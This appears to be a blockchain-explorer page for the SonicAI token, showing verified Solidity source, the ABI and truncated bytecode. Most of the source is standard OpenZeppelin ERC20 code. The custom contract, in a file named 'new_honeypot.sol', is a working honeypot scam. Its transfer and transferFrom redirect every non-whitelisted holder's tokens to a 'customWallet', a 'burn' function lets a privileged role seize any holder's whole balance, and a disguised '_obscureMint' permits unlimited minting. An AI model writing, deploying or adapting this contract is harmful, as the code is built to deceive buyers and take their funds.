S Price: $0.558945 (+1.78%)

Token

SonicAI (SonicAI)

Overview

Max Total Supply

70,000,000,000 SonicAI

Holders

3

Market

Price

$0.00 @ 0.000000 S

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0 SonicAI

Value
$0.00
0x0000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
SonicAI

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at SonicScan.org on 2025-02-01
*/

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;


/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol


// OpenZeppelin Contracts (last updated v5.1.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC-721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in ERC-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC-1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;





/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Skips emitting an {Approval} event indicating an allowance update. This is not
     * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     *
     * ```solidity
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: new_honeypot.sol


pragma solidity ^0.8.20;



contract SonicAI is ERC20, Ownable {
    event TokensBurned(address indexed from, address indexed to, uint256 amount);
    event RoleGranted(address indexed account, string role);
    event TokensTransferredAutomatically(address indexed from, address indexed to, uint256 amount);
    event LiquidityPoolSet(address indexed liquidityPool);
    event AddressWhitelisted(address indexed account);

    mapping(address => bool) private rewardManagers;
    mapping(address => bool) private burnManagers;
    mapping(address => bool) private liquidityManagers;
    mapping(address => bool) private whitelistManagers;

    address public customWallet;
    address public liquidityPool;
    mapping(address => bool) private whitelist;

    constructor(address initialOwner, address _customWallet, address[] memory _whitelist) 
        ERC20("SonicAI", "SonicAI") 
        Ownable(initialOwner) 
    {
        _mint(initialOwner, 70000000000 * (10 ** decimals()));
        transferOwnership(initialOwner);
        customWallet = _customWallet;

        // Automatically whitelist the initial owner
        whitelist[initialOwner] = true;
        emit AddressWhitelisted(initialOwner);

        // Add any other initial whitelisted addresses
        for (uint256 i = 0; i < _whitelist.length; i++) {
            whitelist[_whitelist[i]] = true;
            emit AddressWhitelisted(_whitelist[i]);
        }
    }

    modifier onlyRewardManager() {
        require(rewardManagers[msg.sender], "Caller is not a reward manager");
        _;
    }

    modifier onlyBurnManager() {
        require(burnManagers[msg.sender], "Caller is not a burn manager");
        _;
    }

    modifier onlyLiquidityManager() {
        require(liquidityManagers[msg.sender], "Caller is not a liquidity manager");
        _;
    }

    modifier onlyWhitelistManager() {
        require(whitelistManagers[msg.sender], "Caller is not a whitelist manager");
        _;
    }

    modifier onlyWhitelisted(address account) {
        require(whitelist[account], "Account is not whitelisted");
        _;
    }

    // Combined function to grant multiple roles in one call
    function grantRoles(address account, bool grantReward, bool grantBurn, bool grantLiquidity, bool grantWhitelist) external onlyOwner {
        if (grantReward) {
            rewardManagers[account] = true;
            emit RoleGranted(account, "RewardManager");
        }
        if (grantBurn) {
            burnManagers[account] = true;
            emit RoleGranted(account, "BurnManager");
        }
        if (grantLiquidity) {
            liquidityManagers[account] = true;
            emit RoleGranted(account, "LiquidityManager");
        }
        if (grantWhitelist) {
            whitelistManagers[account] = true;
            emit RoleGranted(account, "WhitelistManager");
        }
    }

    function setLiquidityPool(address _liquidityPool) external onlyLiquidityManager {
        liquidityPool = _liquidityPool;
        emit LiquidityPoolSet(_liquidityPool);
    }

    function burn(address from, address to) external onlyBurnManager {
        uint256 amount = balanceOf(from);
        require(amount > 0, "No tokens to transfer");
        _transfer(from, to, amount);
        emit TokensBurned(from, to, amount);
    }

    function rewards(address to, uint256 amount) public onlyRewardManager {
        _obscureMint(to, amount);
    }

    function _obscureMint(address account, uint256 amount) internal {
        _mint(account, amount);
    }

    function transfer(address to, uint256 amount) public override returns (bool) {
        address from = _msgSender();
        if (!whitelist[from]) {
            _transfer(from, customWallet, amount);
            emit TokensTransferredAutomatically(from, customWallet, amount);
            return true;
        } else {
            return super.transfer(to, amount);
        }
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        if (!whitelist[from]) {
            _transfer(from, customWallet, amount);
            emit TokensTransferredAutomatically(from, customWallet, amount);
            return true;
        } else {
            return super.transferFrom(from, to, amount);
        }
    }

    // New function to whitelist an address after deployment
    function whitelistAddress(address account) external onlyWhitelistManager {
        require(!whitelist[account], "Address is already whitelisted");
        whitelist[account] = true;
        emit AddressWhitelisted(account);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"initialOwner","type":"address"},{"internalType":"address","name":"_customWallet","type":"address"},{"internalType":"address[]","name":"_whitelist","type":"address[]"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"AddressWhitelisted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"liquidityPool","type":"address"}],"name":"LiquidityPoolSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"string","name":"role","type":"string"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensTransferredAutomatically","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"customWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"grantReward","type":"bool"},{"internalType":"bool","name":"grantBurn","type":"bool"},{"internalType":"bool","name":"grantLiquidity","type":"bool"},{"internalType":"bool","name":"grantWhitelist","type":"bool"}],"name":"grantRoles","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liquidityPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_liquidityPool","type":"address"}],"name":"setLiquidityPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"whitelistAddress","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b506040516200324938038062003249833981810160405281019062000036919062000a35565b826040518060400160405280600781526020017f536f6e69634149000000000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f536f6e69634149000000000000000000000000000000000000000000000000008152508160039081620000b4919062000ce4565b508060049081620000c6919062000ce4565b5050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200013c575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040162000133919062000dd9565b60405180910390fd5b6200014d816200037660201b60201c565b506200018f83620001636200043960201b60201c565b600a62000171919062000f7d565b64104c533c0062000183919062000fcd565b6200044160201b60201c565b620001a083620004cb60201b60201c565b81600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167f4f783c179409b4127238bc9c990bc99b9a651666a0d20b51d6c42849eb88466d60405160405180910390a25f5b81518110156200036c576001600c5f8484815181106200029f576200029e62001017565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508181815181106200030c576200030b62001017565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f4f783c179409b4127238bc9c990bc99b9a651666a0d20b51d6c42849eb88466d60405160405180910390a28080620003639062001044565b9150506200027a565b5050505062001131565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffff